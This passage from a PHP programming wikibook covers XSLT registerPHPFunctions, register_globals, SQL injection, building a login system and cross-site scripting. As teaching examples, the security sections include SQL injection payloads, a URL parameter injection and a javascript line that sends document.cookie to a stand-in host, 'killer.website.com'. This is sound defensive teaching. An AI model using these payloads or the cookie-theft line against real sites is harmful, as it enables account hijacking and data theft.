- Using XML DOM
- Using XSLT, basics

NEW:

- PHP Programming/XSL/registerPHPFunctions[1]: there are **NO OTHER PLACE** with some documentation about it, please collaborate!

1 https://en.wikibooks.org/wiki/PHP_Programming/XSL/registerPHPFunctions

46 registerPHPFunctions

The XSLTProcessor::registerPHPFunctions()[1] method **enables to use PHP (v5.0.4+) functions as XSLT-v1[2] functions**. Is a XSLT/registerFunction facility[3] for "XSLT parser called by PHP".

It is a *XSLTProcessor* feature for exposing PHP functions or methods to the XSLT script (processed by importStyleSheet[4] method). Very important for PHP users, because PHP (and any libxml2-dependent[5]) not have a XSLT-v2[6] engine, and part of this functional lack can be overcome by using *registerPHPFunctions*. But, even in 2013's, most programmers share of the opinion that

> ... Is poorly documented and poorly supported, and has much ugliness about it. Rely on it as little as possible...
>
> –
> expressed by F. Avila[7]

The objective of this chapter, **a tutorial for use PHP functions with XSLT**, is **trying to change this "state of affairs"**.

NOTE: another functional complement is to use PHP support for EXSLT library[8] (see [9]). See also [3][10], [4][11], [5][12] ... and other tips (not to be confused with libraries of functions[13] with similar names). The Common Module[14] is the most important to use with *registerPHPFunctions*, having full implementation in all XML parsers.

1 http://php.net/manual/en/xsltprocessor.registerphpfunctions.php
2 http://www.w3.org/TR/xslt
3 https://en.wikibooks.org/wiki/XSLT#Registered_functions
4 http://php.net/manual/en/xsltprocessor.importstylesheet.php
5 http://xmlsoft.org/XSLT/
6 http://www.w3.org/TR/xslt20/
7 http://stackoverflow.com/a/15211214/287948
8 http://php.net/manual/en/xsltprocessor.hasexsltsupport.php
9 http://www.exslt.org/
10 http://stackoverflow.com/questions/1372810/how-to-use-embedded-exslt-from-xsltprocessor
11 http://stackoverflow.com/questions/10447292/how-to-implement-xslt-tokenize-function
12 http://stackoverflow.com/questions/2949836/getting-exslnode-set-to-work-in-php
13 http://fxsl.sourceforge.net/
14 http://www.exslt.org/exsl/index.html

46.1 Preparing

The *XSLTProcessor call* need some inicializations, so, we can encapsulate this initializations in a single function, that use XML data and a XSLT script as inputs, and print the *XSLTProcessor* result.

```
function XSL_transf($xml,$xsl) {
    $xmldoc = DOMDocument::loadXML($xml);
    $xsldoc = DOMDocument::loadXML($xsl);
    $proc = new XSLTProcessor();
    $proc->registerPHPFunctions();
    $proc->importStyleSheet($xsldoc);
    echo $proc->transformToXML($xmldoc);
}
```

For send a *XSLT script* to this `XSL_transf()` function, the *XSLT script* must be a string, so we can use a inline declaration (see PHP's Nowdoc and Heredoc[15]),

```
$xsl = <<<'EOB'
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
      ...
  </xsl:template>
</xsl:stylesheet>
EOB;
XSL_transf('<root/>',$xsl);
```

Another way is get it from a file,

```
  XSL_transf('<root/>',file_get_contents('xslt_script.xsl'));
```

or even changing the `XSL_transf()`,

```
function XSL_transf($xmlFile,$xslFile) {
    $xmldoc = DOMDocument::load($xml);
    $xsldoc = DOMDocument::load($xsl);
        ... remaining same code...
}
```

46.1.1 Cautions

After `<xsl:stylesheet version="1.0" ...>` declaration you can change the default output by, p. example,

```
  <xsl:output method="text"/>
```

In the examples of this tutorial, use always the XML method,

```
  <xsl:output method="xml" encoding="utf-8" indent="yes"/>
```

15 `http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc`

and, for see all tags withou need to open source-code in the browser, start the PHP script with

```
header("Content-Type: text/plain; charset=utf-8");
```

46.2 Using PHP functions with static XSLT

In a first overview of the ”exposing PHP to XSLT” feature, we can ignore the XML input data, using the XSLT script as a static template.

46.2.1 XSL receiving external string values

Declare and use of a XSLT script with PHP function calls (see `xsl:value-of`), that import string values from PHP functions (direct or parametrized).

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">

  <xsl:template match="/">
    PHP time()=<xsl:value-of select="php:function('time')" />,
    PHP rand()=<xsl:value-of select="php:function('rand')" />,
    PHP rand(11,99)=<xsl:value-of select="php:function('rand',11,99)" />,
    PHP xsl_myF1()=<xsl:value-of select="php:function('xsl_myF1_StrConstant')"
 />,
    PHP xsl_myF2(XX)=<xsl:value-of select="php:function('xsl_myF2_id','XX')" />.
  </xsl:template>
</xsl:stylesheet>
```

The first two functions can be called without any parameter, the two last functions are user-declared:

```
  function xsl_myF1_StrConstant() { return "123"; }
  function xsl_myF2_id($str) { return $str; }
```

***XSL_ transf* RESULT:**

```
PHP time()=1365869487,
PHP rand()=1410713536,
PHP rand(11,99)=20,
PHP xsl_myF1()=123,
PHP xsl_myF2(XX)=XX.
```

46.2.2 XSL receiving external XML as string

The <`xsl:value-of ... /`> clause usually receives string values, but with the `disable-output-escaping` attribute, it can receive an entire XML fragment.

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
  <xsl:output method="xml" encoding="utf-8" indent="yes"/>
  <xsl:template match="/">
    PHP xsl_myF2('<someTag/>')=<xsl:value-of
```

```
 select="php:function('xsl_myF2_id','<someTag/>')" />
     PHP xsl_myF2('<someTag/>')=<xsl:value-of
 select="php:function('xsl_myF2_id','<someTag/>')"
 disable-output-escaping="yes"/>
     PHP xsl_myF3()=<xsl:value-of select="php:function('xsl_myF1_XmlConstant')"
 disable-output-escaping="yes"/>
  </xsl:template>
</xsl:stylesheet>
```

where

```
 function xsl_myF1_XmlConstant() {
     return '<aBigFragment> text <someTag val="123"/> text </aBigFragment>';
 }
```

***XSL_ transf* RESULT:**

```
  PHP xsl_myF2=&lt;someTag/&gt;
 PHP xsl_myF2=<someTag/>
 PHP xsl_myF3=
     <aBigFragment> text <someTag val="123"/> text </aBigFragment>
```

46.2.3 XSL receiving external XML as DOMElement

All *XSLTProcessor* activities relies in *DOMDocument* manipulations, so, for best performance, it is better to send a *DOMElement* object instead of a string.

The clause <`xsl:copy-of ... /`> receives *DOMElement* or *DOMDocument*, and <`xsl:for-each ...`> receives DOMNodeList[16]. So, if we have a PHP function that returns *DOMDocument*, we can use it.

```
 function xsl_myF4_DOMConstant() {
     static $xdom = DOMDocument::loadXML('<t> foo <tt val="123"/> bar </t>');
     return $xdom;
 }
```

Calling `xsl_myF4` into the XSLT script,

```
 <xsl:template match="/">
    PHP xsl_myF4()=<xsl:copy-of select="php:function('xsl_myF4_DOMConstant')"
/>
 </xsl:template>
```

RESULTS:

```
PHP xsl_myF4()=<t> foo <tt val="123"/> bar </t>
```

46.2.4 XSL receiving external fragments

A common need is to handle *DOM fragments*, that is, a XML without root. In the example above, function `xsl_myF4_DOMConstant()` we used <`t> foo <tt val="123"/> bar`

16 `http://php.net/manual/en/class.domnodelist.php`

</t>. If the return value of needle is only `foo <tt val="123"/> bar` the function must be changed to,

```
function xsl_myF4b_DOMFrag() {
  $dom = new DOMDocument;
  $tmp = $dom->createDocumentFragment();
  $tmp->appendXML(' <t> foo <tt val="123"/> bar </t> TEST');
  return $tmp;
}
```

but now, to call `xsl_myF4b` (into the XSLT script) is not the same thing that call `xsl_myF4` , now we need to change the XPath expression to refer to a set of nodes.

```
<xsl:template match="/">
   PHP xsl_myF4b()=<xsl:copy-of
select="php:function('xsl_myF4b_DOMFrag')/node()" />
 </xsl:template>
```

NOTE: Might be an LibXML2 bug, see an explanation here[17].

RESULTS:

```
PHP xsl_myF4b()= <t> foo <tt val="123"/> bar </t> TEST
```

46.3 Using PHP functions with dynamic XSLT

”Real life” templates use XML input data for output. Suppose the following XML:

```
<allusers>
 <user> <uid>bob</uid> </user>
 <user> <uid>joe</uid> </user>
</allusers>
```

46.3.1 XSL sending and receiving string values

To send an input node as string, you can use the XPath-v1.0 string() function[18] of the Core Function Library, that converts a node to a string. If the argument is a XML fragment (a node with more than a single value), the ”cast to string” replaces tags by blank spaces.

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
 <xsl:output method="xml" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
    Users:
    <xsl:for-each select="user"> <xsl:value-of select="position()"/>:
       myF2(uid)="<xsl:value-of select="php:function('xsl_myF2_id',string(uid))"
 />",
       myF2(.)="<xsl:value-of select="php:function('xsl_myF2_id',string(.))"
 />",
    </xsl:for-each>
```

17 http://stackoverflow.com/a/20612257/287948
18 http://www.w3.org/TR/xpath/#section-String-Functions

```
 </xsl:template>
</xsl:stylesheet>
```

***XSL_ transf* RESULT:**

```
Users:
1:
   myF2(uid)="BOB",
   myF2(.)=" BOB textTest ",
2:
   myF2(uid)="JOE",
   myF2(.)=" JOE ",
```

46.3.2 XSL-registeredFunction communicating by DOM

The most complete way for an XSLT script to send a node as PHP-function parameter, is by sending it without string casting. PHP function will receive as parameter an *array of DOMElement*s, and PHP can send back a *DOMElement* to the XSLT script.

This is the identity function implemented with this "DOM communication":

```
function xsl_myF5_id($m) {  // $m is always an array
    $ele = $m[0];  // get_class($m[0])==DOMElement
    return $ele; // XSLT accepts only DOMElement or DOMDocument
}
```

Using this function in a loop over input nodes,

```
    <xsl:for-each select="user"> <xsl:value-of select="position()"/>:
       copy-of  myF5(uid)="<copy-of select="php:function('xsl_myF5_id', uid)"
 />",
       value-of myF5(uid)="<xsl:value-of select="php:function('xsl_myF5_id',
 uid)" />",
       copy-of  myF5(.)=<xsl:copy-of select="php:function('xsl_myF5_id', . )"
 />.
    </xsl:for-each>
```

***XSL_ transf* RESULT:**

```
1:
     copy-of  myF5(uid)="<uid>BOB</uid>",
     value-of myF5(uid)="BOB",
     copy-of  myF5(.)=<user> <uid>BOB</uid> textTest </user>.
2:
     copy-of  myF5(uid)="<uid>JOE</uid>",
     value-of myF5(uid)="JOE",
     copy-of  myF5(.)=<user> <uid>JOE</uid> </user>.
```

Using for lists: a function like `xsl_myF5_id` can return NULL, producing no interferences. This can be useful for array (or database) composing, later retrieved to XSLT by another function.

46.4 XSLT global parameters

There are more than one way to transfer PHP variables into XSLT, as global parameters:

- calling a `php:function` that returns the PHP value of the variable;
- Using setparameter[19] in the parser, to create real XSLT-variables from `xsl:parameter` declaration.
- injecting a "parameter-XML" in the XML input.

The first is perhaps the better, but each has its pros and cons.

46.4.1 Parameter-specific user-functions

Comparing with *setParamter* (section below[20]), a function have he advantage of carry XML-fragments (not only string values), but not is accessed by XSLT as an usual variable. Typical use at XSLT:

```
<xsl:value-of select="php:function('xsl_strParam','param1')" />
```

With something like at PHP:

```
function xsl_strParam($paramName) {global $PARAMS; return $PARAMS[$paramName];}
```

To return DOM fragments, see section of "XSL receiving external fragments"[21].

46.4.2 Setting XSLT global parameters

Global parameters are defined on the stylesheet level:

```
  <xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:param name="param1" select="'default-string1'"/>
  </xsl:stylesheet>
```

They can have a default value, specified by the select statement. Global parameters can be used to pass values from external applications to the stylesheet.

TIP: you can use a XPath at select attribute, `<xsl:param name="p1" select="."/>`, so, take care to use `"'string'"` when it is not an XPath.

To use the *XSLTProcessor::setParameter*[22], rewrite `XSL_transf()`, at the Preparing section[23]:

```
function XSL_transf($xml,$xsl,$param1val) {
    $xmldoc = DOMDocument::loadXML($xml);
    $xsldoc = DOMDocument::loadXML($xsl);
    $proc = new XSLTProcessor();
    $proc->registerPHPFunctions();
    $proc->importStyleSheet($xsldoc);
        $proc->setParameter('', 'param1', $param1val); // add here, $param1val
 will overwrites 'default-string1'
```

19 http://php.net/manual/en/xsltprocessor.setparameter.php
20 #Setting_XSLT_global_parameters
21 #XSL_receiving_external_fragments
22 http://php.net/manual/en/xsltprocessor.setparameter.php
23 #Preparing

```
    echo $proc->transformToXML($xmldoc);
}
```

46.4.3 XML injection as parameter

Another natural way to read external parameters, is as part of the XML input string. Some DTD-conventions must reviewed, some ”array to XML” conventions adopted, and DOM once-insert or replace must processed by the main function (ex. the `XSL_transf()` function above).

It is recommended when there are a lot of parameters or XML fragments. An exemple of use this strategy was the 2.0.2 version of smallest-php-xml-xsl-framework[24], and ”state injection” made there.

46.5 Working with real-life applications

... STANDARD LIB PROPOSAL ...

... See XSLT/Standard-register Functions[25] ...

46.6 Versions and contexts where the examples runs

Please colabore with your tests:

- PHP 5.3.10-1ubuntu3.6 (Zend Engine v2.3.0). All examples runs.

46.7 External links

- LibXML2 details of the ”registerModuleFunctions” implementation[26].
- LibXML2/XSLT page[27]

24 https://code.google.com/p/smallest-php-xml-xsl-framework/
25 https://en.wikibooks.org/wiki/XSLT/Standard-register_Functions
26 http://xmlsoft.org/XSLT/extensions.html#Registerin
27 http://xmlsoft.org/XSLT/xslt.html

47 PHP PEAR

Wikipedia[1] has related information at ***PEAR***[2]

This page or section is an undeveloped draft or outline.
You can help to develop the work[3], or you can ask for assistance in the project room[4].

47.1 Installing PEAR in a Shared Server

The PHP Extension and Application Repository, or PEAR, is a repository of PHP software code[1].

47.2 References

1. [5]

1 https://en.wikipedia.org/wiki/
2 https://en.wikipedia.org/wiki/PEAR
3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming&action=edit
4 https://en.wikibooks.org/wiki/Wikibooks:PROJECTS
5 https://pear.php.net/

48 PHP Libraries

1. PHP Manual Function Reference[1]
2. PHP 5 Functions[2]

1 http://php.net/manual/en/funcref.php
2 http://www.w3schools.com/php/

49 Frameworks

CakePHP[1]	CodeIgniter[2]	Drupal[3]	Kohana[4]
Laravel[5]	Nette[6]	Qcodo[7]	Silverstripe[8]
Solar[9]	Symfony[10]	Yii[11]	Zend[12]

1 http://www.cakephp.org/
2 http://codeigniter.com/
3 https://www.drupal.org/
4 http://kohanaframework.org/
5 http://www.laravel.com/
6 https://nette.org/
7 http://www.qcodo.com/
8 http://www.silverstripe.com/
9 http://www.solarphp.com/
10 https://symfony.com/
11 http://www.yiiframework.com/
12 http://framework.zend.com/

50 Register Globals

50.1 What is Register Globals?

A common security problem with PHP is the `register_globals` setting in PHP's configuration file (`php.ini`). This setting (that can be either **On** or **Off**) tells whether or not to register the contents of the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. For example, if `register_globals` is **On**, the url `http://www.example.com/test.php?id=3` will declare `$id` as a global variable[1] with no code required. Similarly, `$DOCUMENT_ROOT` would also be defined, since it is part of the `$_SERVER` 'superglobal' array. These two examples are the equivalent of placing the following code at the beginning of a script:

```
$id = $_GET['id'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
```

This feature is a great security risk, and you should ensure that `register_globals` is **Off** for all scripts (as of PHP 4.2.0 this is the default, and as of 5.4.0 the setting has been removed completely). It's preferred to go through PHP Predefined Variables instead, such as the superglobal $_REQUEST. Even more secure is to further specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead of using the more general superglobal $_REQUEST.

50.2 Example

Let's say that this PHP code is on the receiving end of a form. The user has just entered an incorrect password. The $_POST array variable handles it. The code will describe that if the password is correct (”correct password” being, let's say, ”12345”), the variable $admin will be set to TRUE. The site's configuration says that if $admin is set to TRUE, that user will have administrative privileges. This code is PHP5 compatible.

```
if (isset($_POST['password']) && $_POST['password'] == "12345") {
    $admin = TRUE;
}
```

register_globals does not discriminate between $_POST variables and $_GET variables. So, suppose the user input the form and it took him or her to that above page. The user could decide that he or she deserves admin privileges even though they do not know the password. So, that user could append ?admin=1 to the URL[2] of that page. What that would do, with register_globals **On**, would be to force the creation the variable $admin

1 https://en.wikipedia.org/wiki/global_variable
2 https://en.wikipedia.org/wiki/URL

and automatically set the value to 1, making it equivalent to TRUE. So register_globals **On** allows the user to **inject** variables and values into the program! Here, whether or not they input the correct password, the user would now have administrative privileges just by doing something with the URL.

As you can see, this sort of situation can happen at anytime by someone who does enough thinking to figure out how the page was coded. It could happen in many other situations.

Another example is that of sessions. When register_globals = on, we could also use $username in our example below but again you must realize that $username could also come from other means, such as GET (through the URL).

```
// We wouldn't know where $username came from but do know $_SESSION is
// for session data
if (isset($_SESSION['username'])) {
    echo "Hello <b>{$_SESSION['username']}</b>";
} else {
    echo "Hello <b>Guest</b><br />";
    echo "Would you like to login?";
}
```

50.3 Best Practices

The best way to avoid it is to make sure that register_globals is set to **Off** in your php.ini. But as a general coding recommendation, always initialize your variables. The following code makes a small addition to the previous code example, but first sets $admin to FALSE so that the user cannot get administrative privileges except via the conditional statement:

```
$admin = FALSE;
if (isset($_POST["password"]) && $_POST["password"] == "12345") {
    $admin = TRUE;
}
```

50.3.1 filter_input()

As the superglobal array access is vulnerable to the code injection[3][1], for security reasons, it's better to use the syntax with `filter_input()`[2]:

```
<?php
echo filter_input(INPUT_GET, 'password'); // good
echo $_GET['password'];                   // not good
?>
```

50.4 References

1. [4]
2. [5]

3 https://en.wikipedia.org/wiki/code_injection
4 https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet#Untrusted_data
5 http://php.net/manual/en/function.filter-input.php

50.5 More Information

- PHP Manual: Register Globals Security[6]
- PHP Predefined Variable Manual[7]

6 http://www.php.net/manual/en/security.globals.php
7 http://www.tutorialsscripts.com/php-tutorials/php-predefined-variables.php

51 SQL Injection Attacks

51.1 The Problem

Consider the following SQL query in PHP:

```
$result=mysql_query('SELECT * FROM users WHERE
 username="'.$_GET['username'].'"');
```

The query selects all rows from the users table where the username is equal to the one put in the query string. If you look carefully, you'll realise that the statement is vulnerable to SQL Injection - quotes in `$_GET['username']` are not escaped, and thus will be concatenated as part of the statement, which can allow malicious behaviour.

Consider what would happen if `$_GET['username']` was the following: `" OR 1 OR username = "` (a double-quote, followed by a textual " OR 1 OR username = " followed by another double-quote). When concatenated into the original expression, you have a query that looks like this: `SELECT * FROM users WHERE username = "" OR 1 OR username = ""`. The seemingly redundant `OR username = "` part added is to ensure that the SQL statement evaluates without error. Otherwise, a hanging double quote would be left at the end of the statement.

This selects all rows from the users table.

51.2 Solutions

51.2.1 Input Validation

Never trust user provided data, process this data only after validation; as a rule, this is done by pattern matching. In the example below, the username is restricted to alphanumerical chars plus underscore and to a length between eight and 20 chars - modify as needed.

```
if (preg_match("/^\w{8,20}$/", $_GET['username'], $matches))
  $result = mysql_query("SELECT * FROM users WHERE username='$matches[0]'");
else // we don't bother querying the database
  echo "username not accepted";
```

For increased security, you might want to abort the script's execution replacing `echo` by `exit()` or `die()`.

This issue still applies when using checkboxes, radio buttons, select lists, etc. Any browser request(even `POST`) can be replicated through telnet, duplicate sites, javascript, or code (even PHP), so always be cautious of any restrictions set on client-side code.

51.2.2 Escaping Values

PHP provides you with a function to deal with user input in MySQL, and that is `mysqli_real_escape_string([mysqli link, ]string unescaped_string)`. This script escapes all potentially dangerous characters in the string provided and returns the escaped string such that it may be safe to put into a MySQL query. However, if you do not sanitize input prior to passing it to `mysqli_real_escape_string()` function you still may have SQL injection vectors. For example; `mysqli_real_escape_string` would not protect against an SQL injection vector such as the following:

```
   $result = "SELECT fields FROM table WHERE id =
  ".mysqli_real_escape_string($_POST['id']);
```

If `$_POST['id']` contained `23 OR 1=1` then the resulting query would be:

```
   SELECT fields FROM table WHERE id = 23 OR 1=1
```

which is a valid SQL injection vector.

(The original function, `mysql_escape_string`, did not take the current character set in account for escaping the string, nor accepted the connection argument. It is deprecated since PHP 4.3.0.)

For example, consider one of the examples above:

```
$result=mysqli_query($link, 'SELECT * FROM users WHERE
 username="'.$_GET['username'].'"');
```

This could be escaped as follows:

```
$result=mysqli_query($link, 'SELECT * FROM users WHERE
 username="'.mysqli_real_escape_string($_GET['username']).'"');
```

This way, if the user tried to inject another statement such as a `DELETE`, it would harmlessly be interpreted as part of the WHERE clause parameter as expected:

```
SELECT * FROM `users` WHERE username = '\';DELETE FROM `forum` WHERE title !=
 \''
```

The backslashes added by `mysqli_real_escape_string` make MySQL interpret them as actual single quote characters rather than as part of the SQL statement.

Note that MySQL does not allow stacking of queries so the `;DELETE FROM table` attack would not work anyway

51.2.3 Parameterized Statements

The PEAR's DB package[1] provides a prepare/execute mechanism to do parameterized statements.

```
require_once("DB.php");
$db = &DB::connect("mysql://user:pass@host/database1");
$p = $db->prepare("SELECT * FROM users WHERE username = ?");
$db->execute( $p, array($_GET['username']) );
```

The query() method, also do the same as prepare/execute,

```
$db->query( "SELECT * FROM users WHERE username = ?", array($_GET['username'])
 );
```

The prepare/execute will automatically call `mysql_real_escape_string()` as discussed in the above section.

In PHP version 5 and MySQL version 4.1 and above, it is also possible to use prepared statements through `mysqli` extension[2]. Example[3]:

```
$db = new mysqli("localhost", "user", "pass", "database");
$stmt = $db -> prepare("SELECT priv FROM testUsers WHERE username=? AND
 password=?");
$stmt -> bind_param("ss", $user, $pass);
$stmt -> execute();
```

Similarly, you could use the built-in PDO Class in PHP5[4].

51.3 References

1. [1]
2. Official documentation for Mysqli extension[2], php.net.
3. Prepared Statements in PHP and MySQLi[3], Matt Bango.
4. [4]

51.4 For More Information

- PHP Manual: SQL Injection[5]
- How to prevent SQL Injection Attacks[6]
- Preventing SQL Injection in PHP MySQL Insert and Update Queries[7]
- Preventing SQL Injection in PHP MySQL Select Queries[8]

1 http://pear.php.net/package/DB
2 http://www.php.net/mysqli
3 http://www.mattbango.com/articles/prepared-statements-in-php-and-mysqli
4 http://php.net/manual/en/book.pdo.php
5 http://www.php.net/manual/en/security.database.sql-injection.php
6 http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html
7 http://zedwood.com/article/82/Preventing_SQL_Injection_in_PHP_-_Insert_and_Update
8 http://zedwood.com/article/81/Preventing_SQL_Injection_in_PHP_-_Select

52 Building a secure user login system

Many beginning PHP programmers set out to build a website that features a **user login system** but are unaware of the awaiting pitfalls. Below is a step-by-step guide through the necessary components of both a **user authentication** system and a **user authorization** system. The former is about determining whether users *are who they say they are*, while the latter is concerned with whether or not users *are allowed to do what they are trying to do* (e.g. gain access to a particular page, or execute a particular query).

> It is recommended that readers integrate the *concepts* outlined below into their scripts, and not simply cut and paste the code examples. Security of a login system depends on trust of the individual developing the software. Since anyone can edit these pages, including those with malicious intent, you should not trust the code examples.

52.1 Authentication

There are two parts to the authentication process:

1. The **login form**. The user is presented with some way of entering their credentials; the system checks these against a list of known users; if a match is found, the user is authenticated. This part of the system generally also initiates some way of remembering that a user is authenticated (such as by setting a cookie) so that this process doesn't have to be repeated for each request.
2. The **per-request check** (for want of a better name!). This is the same as the second part of the login form process, with the user credentials being acquired from a source more convenient to the user—such as the cookie.

The code given below may need adjustment depending on the architecture of your scripts, whether object-oriented or procedural, having a single entry-point into your code or a dozen scripts each called separately. However the components of a login system are executed, their fundamentals are the same. Similarly, when a 'database' is referred to, it does not necessarily mean MySQL or any other RDBMS; user information could be stored in flat files, on an LDAP server, or in some other way.

52.1.1 The Login Form

This is the simplest part of the system, and the easiest place to start. Put simply: an HTML form is presented to the user, the user enters their credentials, the form contents are submitted to the next part of the login system for processing.

The user's credentials are generally a username and password, although others are possible (such as a nonce from a hardware token-generator). Many sites are now using the user's

email address rather than a username. The advantages of this are that the e-mail addresses will be unique to one user, and it allows people to have consistent usernames since users with common usernames may not be able to get the same username everywhere they register.

The HTML for a basic login form could be something like this:

```
<form action="/login" method="post">
  <p>
    <label for="email">Email address:</label>
    <input id="email" type="text" name="email" />
  </p>
  <p>
    <label for="password">Password:</label>
    <input id="password" type="password" name="password" />
  </p>
  <p>
    <input type="submit" name="login" value="Login" />
  </p>
</form>
```

The data from the login form can be submitted to whatever script is to handle the authentication and login process, and it is in this script that the real business of logging-in takes place.

We don't need worry about **checking inputs** when logging in as much as when creating or changing the account since we're just matching what's entered in with what's in the database. Anything that is illegal (such as an e-mail address without an @ sign) will simply not have a match and the login will fail. All user-submitted data will be safely escaped when it's passed to the database so we don't, at this point, need to worry about SQL injection attacks[1] and there is no security benefit to be gained from limiting the length or form of the username or password.

The login processing script itself needs to do a number of things. Firstly, it initiates a session[2] (and this will often actually form part of the 'per-request authentication', as described below). Secondly, it queries the database for a matching user; if there is none then the login attempt has failed and the user is returned to the login form. Lastly (and assuming the user does exist), their identifier (username or email address) is saved as a session variable.

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/SQL_Injection&action=edit&redlink=1

2 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/sessions&action=edit&redlink=1

The fundamental actions of the login script are show here.

```
session_start();
$db = new Database(); // Database abstraction class.
$email_address = $db->esc($_POST['email']);
$password = $db->esc($_POST['password']);
$matching_users = $db->get_num_rows("SELECT 1 FROM `users` WHERE
 email_address='$email_address' AND password=crypt('$password', password) LIMIT
 1");
if ($matching_users) {
    // User exists; log user in.
    $_SESSION['email_address'] = $email_address;
    echo "You are now logged in.";
} else {
    // Login failed; re-display login form.
}
```

Notes:

- The `Database` database abstraction class is used to hide database implementation details for the purpose of this example, and should not be taken to represent any actual, existing library class.
- Where the `Database` class' `get_num_rows($sql)` method returns a count of the rows resulting from the `$sql` query. The `LIMIT 1` above means that this will return only 0 or 1.

The script can now display a welcome message, and the authentication will stay with the user so he doesn't have to login every single time he loads a page. Let us now look at how to do that.

52.1.2 Per-request Check

The users authenticity must be verified upon each HTTP request (i.e. for a page, image, or whatever). This is ostensibly as simple as seeing whether the relevant session variable is set:

The basic authentication check that needs to be run for each user request.

```
session_start();
if (!isset($_SESSION['email_address']))
{
    // User is not logged in, so send user away.
    header("Location:/login");
    die();
}
// User is logged in; private code goes here.
```

This is sufficient in many ways, but it is vulnerable to a number of attacks. It relies utterly upon the session being tied to the right user. This is not a good thing, because sessions can be *hijacked* (the session key can be stolen by a third party) or *fixed* (a third party can

force a user to use a session key that the third party knows). Read the sessions[3] page of this Wikibook for more information about this and how to avoid it.

The basic authentication check, with additional guards against session hijacking or fixation.

```
$timeout = 60 * 30; // In seconds, i.e. 30 minutes.
$fingerprint = hash_hmac('sha256', $_SERVER['HTTP_USER_AGENT'], hash('sha256',
 $_SERVER['REMOTE_ADDR'], true));
session_start();
if (    (isset($_SESSION['last_active']) &&
 $_SESSION['last_active']<(time()-$timeout))
     || (isset($_SESSION['fingerprint']) &&
 $_SESSION['fingerprint']!=$fingerprint)
     || isset($_GET['logout'])
    )
{
    setcookie(session_name(), '', time()-3600, '/');
    session_destroy();
}
session_regenerate_id();
$_SESSION['last_active'] = time();
$_SESSION['fingerprint'] = $fingerprint;
// User authenticated at this point (i.e. $_SESSION['email_address'] can be
 trusted).
```

The `$_SESSION['last_active']` and `$_SESSION['fingerprint']` variables will also need to be set at the initial log in point (where the login form was processed) if they are to be used; simply insert the following lines above where the `email_address` variable is set:

The code used to check if the user is the same user that logged in.

```
$fingerprint            = hash_hmac('sha256', $_SERVER['HTTP_USER_AGENT'],
 hash('sha256', $_SERVER['REMOTE_ADDR'], true));
$_SESSION['last_active'] = time();
$_SESSION['fingerprint'] = $fingerprint;
```

One thing to remember when using browser fingerprints, however, is that, while they do add some security to your application, they are not a catchall by any means. Many ISPs[4] offer Dynamic IP addresses, which are IP address that change at certain intervals. If this were to happen while a user is browsing your page, he would be kicked out of his account. Also, the code snippet that checks to make sure the browser is the same, can be modified via Firefox extensions that modify the headers while requesting the page.

And that is how a secure user-authentication system is implemented in PHP5! There are a number of points that have been glossed over in the information above, and some that have been left out completely (e.g. how to only start a session when necessary). If you are

3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/sessions&action=edit&redlink=1
4 https://en.wikibooks.org/w/index.php?title=ISP&action=edit&redlink=1

implementing your own user login system and are trying to follow the advice given here, there are sure to be things that you will figure out as you go and will wish were explained here, so please be bold and edit this page to add anything that you feel is missing.

Figure 62

If you think something needs to be changed, don't hesitate! Wikibooks is a wiki[5] which means that everybody (including you) can edit any page by clicking **edit this page**. You don't even have to log in[6]! Newcomers are always welcome[7] to Wikibooks, so don't be afraid of making mistakes. If you don't know how to edit pages, check out Help:Editing[8] or experiment in the Sandbox[9].

52.2 Authorization

[10]

To do:
Notes:

- ACLs
- User-, group-, role-based authorization.
- Other stuff...

5 https://en.wikipedia.org/wiki/wiki
6 https://en.wikibooks.org/wiki/Special:UserLogin
7 https://en.wikibooks.org/wiki/Wikibooks:Welcome,_newcomers
8 https://en.wikibooks.org/wiki/Help:Editing
9 https://en.wikibooks.org/wiki/Wikibooks:Sandbox
10 https://en.wikibooks.org/wiki/

53 Cross Site Scripting Attacks

53.1 Problem

Cross site scripting (or XSS) is a basic description of a script sending sensitive information (such as cookies or other session identifiers) to other websites.

Usually, these attacks affect websites that content can be edited or added to. In most cases, session identifiers or even usernames/passwords are stored inside cookies. In the case somebody knows the session identifier, they can easily use it on their machine to do any malicious tasks that you would not be happy about.

Right now, if you are logged in on wikibooks or any other websites, go to that page and type this into the address bar:

```
javascript:void(alert(document.cookie))
```

These are cookies that are sent to the website each time to identify you. Easily, if your site is not XSS proof - the cracker will write anything like this:

```
javascript:void(document.loca
tion('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))
```

that will send the cookie information to their website.

53.2 Prevention

There are no chances to protect yourself from XSS attacks without removing malicious HTML/JavaScript code that would be submitted to another website.

As far, the most common way is to use htmlentities[1] or htmlspecialchars[2] to filter the coding so nobody would add any HTML to your site (e.g. blog comments):

```
$message = htmlentities($message);
```

Another way to do this is to overall create any kind of "protected mode" code, such as MediaWiki, BBCode or others that have been invented for purpose of easily styling/formatting user's content.

1 http://php.net/htmlentities
2 http://php.net/htmlspecialchars

54 Secure HTTP headers

The HTTP header[1] returned by a PHP script can reveal its security breaches.

54.1 Hide versions

